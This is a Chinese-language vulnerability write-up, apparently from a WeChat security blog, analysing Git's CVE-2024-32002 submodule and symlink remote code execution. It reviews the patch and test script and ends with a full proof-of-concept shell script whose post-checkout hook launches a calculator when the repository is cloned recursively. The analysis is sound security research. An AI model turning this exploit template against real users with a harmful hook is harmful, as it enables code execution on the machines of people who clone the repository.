前言
5月18号的时候,国外安全研究员Amal Murali(@amalmurali47)放了一张截图,这引起了我的注意:
v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3
初探
当我分析这个洞时,市面上并没有出现poc,除了这个安全研究员发的漏洞复现截图外,我还看到了另一个安全研究发的图,不过是在mac os上进行复现的:
我提取出其中的日志信息:
$git clone --recursive [email protected]:markuta/test.git
cloning into test
remote:enumerating objects:18,done.
remote:counting objects:100%(18/18), done.
remote:compressing objects:100%(7/7),done.
remote: total 18 (delta 6), reused 14 (delta 4), pack-reused 0
receiving objects:100%(18/18),done.
resolving deltas:100%(6/6),done.
warning:the following paths have collided (e.g. case-sensitive paths
on a case-insensitive filesystem) and only one from the same
colliding group is in the working tree:
'a'
submodule'x/y' ([email protected]:markuta/hooky) registered for path 'A/modules/x'
cloning into '/users/naz/dev/test/a/modules/x'...
remote:enumerating objects:15,done.
remote:counting objects:100%(15/15),done.
remote:compressing objects:100%(8/8),done.
remote:total 15 (delta 1), reused 8(delta 0), pack-reused 0
receiving objects:100%(15/15),done.
resolving deltas:100%(1/1),done.
submodule path 'A/modules/x': checked out 'a8da5ef374374251fb81787292d64e52ffe802a3'
我推测比较关键的点在于:
on a case-insensitive filesystem) and only one from the same
colliding group is in the working tree:
'a'
结合漏洞通告:
Impact
Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.
Patches
The problem has been patched in the versions published on Tuesday, May 14th, 2024.
Workarounds
If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won't work.
As always, it is best to avoid cloning repositories from untrusted sources.
References
git clone --recurse-submodules
core.symlinks
深入理解
也就是说A/modules/x 和 a/modules/x在windows上面被视为相同的路径。
我直接把日志丢给chatGPT,看看他是否存在什么思路:
可以看到思路是跟我的分析一致的,但是我让GPT尝试帮我构建poc,不出意外的失败了。只好自己动手接着分析补丁。
补丁分析
补丁涉及了两个文件:
1.builtin/submodule--helper.c
2t/t7406-submodule-update.sh
第一个文件是补丁,第二个则是一个测试脚本。
我们分析补丁:
然后在执行克隆之前增加了一个检查,来确保目录是空的或者仅包含.git目录。如果不为空并且不仅仅包含.git目录,就会终止操作。
至于第二个文件,则是一个测试脚本,也就是我们来进行复现使用的关键信息都在里面,用于验证 Git 在处理包含符号链接的子模块路径时的行为。
其中的关键代码为:
设置符号链接选项开启
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
新建hook仓库(目录名为hook)
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
代码内容含义为:新建hook/y/hooks/post-checkout文件然后写入下面内容后提交:
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
post-checkout 文件是什么?
post-checkout 是 Git 中的一种钩子(hook)。Git hooks 是一些脚本,允许你在特定的事件发生时执行自定义操作。post-checkout 钩子在以下情况之后被调用:
成功运行 git clone 命令。
成功运行 git checkout 命令。
新建captain仓库(最后git clone的仓库)
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0tan" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
添加子模块:
-
hook_repo_path设置上面hook仓库的路径,使用git submodule add --name x/y "$hook_repo_path" A/modules/x把hook仓库中的子模块添加到captain仓库中,子模块的名字是 x/y,路径是 A/modules/x
创建符号链接并提交:
-
创建一个包含文本内容 ".git" 的文件 dotgit.txt
-
计算dotgit.txt 文件的哈希值,并将其存储到 Git 对象数据库中
-
创建一个索引信息文件 index.info,其中包含创建一个符号链接(指向 .git 文件内容)的信息
-
使用 git update-index 命令将符号链接的信息添加到 Git 索引中
-
提交这个符号链接的添加
运行测试
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
这部分我们构造poc需要做的就是git clone --recursive captain hooked 2>err &&
构造POC
经过上面的详细分析,如何构造poc也就一目了然了。当我尝试构造poc后,会出现报错:
$ git clone
--recursive [email protected]:10cks/CVE-2024-32002-submod.git test
Cloning into 'test'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0
Receiving objects: 100% (8/8), done.
Resolving deltas: 100% (1/1), done.
warning: the following paths have collided (e.g. case-sensitive paths
on a case-insensitive filesystem) and only one from the same
colliding group is in the working tree:
'a'
Submodule 'x/y' ([email protected]:10cks/CVE-2024-32002-hulk.git) registered for path 'A/modules/x'
fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directory
fatal: clone of '[email protected]:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failed
Failed to clone 'A/modules/x'. Retry scheduled
fatal: could not create leading directories of 'D:/CVE-2024-32002/RCE/test/A/modules/x': Not a directory
fatal: clone of '[email protected]:10cks/CVE-2024-32002-hulk.git' into submodule path 'D:/CVE-2024-32002/RCE/test/A/modules/x' failed
Failed to clone 'A/modules/x' a second time, aborting
经过多方咨询,我才知道即使在windows上开启了符号链接选项,仍需以管理员权限运行才能够正确的执行符号链接。这也是为什么我花了两天时间一直没有在windows上成功实现任意代码执行的原因
最后完整的poc在5月20号被Amal Murali放出,到这里关于git RCE的分析也就告一段段落了:
# 设置 Git 配置选项
git config --global protocol.file.allow always
git config --global core.symlinks true
# 设置默认分叉为main
git config --global init.defaultBranch main
# 定义 tell-tale 路径
tell_tale_path="$PWD/tell.tale"
# 初始化 hook 仓库
git init hook
cd hook
mkdir -p y/hooks
# 将恶意代码写入 hook,适配windows环境与mac环境
cat > y/hooks/post-checkout <<EOF
calc.exe
open -a Calculator.app
EOF
# 使 hook 可执行:重要
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# 定义 hook 仓库路径
hook_repo_path="$(pwd)/hook"
# 初始化 captain 仓库
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# 创建符号链接
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0tan" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# 本地测试,传到github无需使用此功能
git clone --recursive captain hooked
运行git clone --recursive [email protected]:10cks/captain.git GIT-RCE后就可以RCE了:
参考链接
https://twitter.com/amalmurali47/status/1791566569501573163
除此之外,不能通过手动修改.gitmodules的方式来对子模块进行设置,会导致远程仓库无法正确进行递归。我们需要在生成.gitmodules前就对其进行修改,并且协议需要保持一致:
git submodule add --name x/y "远程仓库" A/modules/x
原文始发于微信公众号(安全笔记):CVE-2024-32002 Git远程代码执行漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论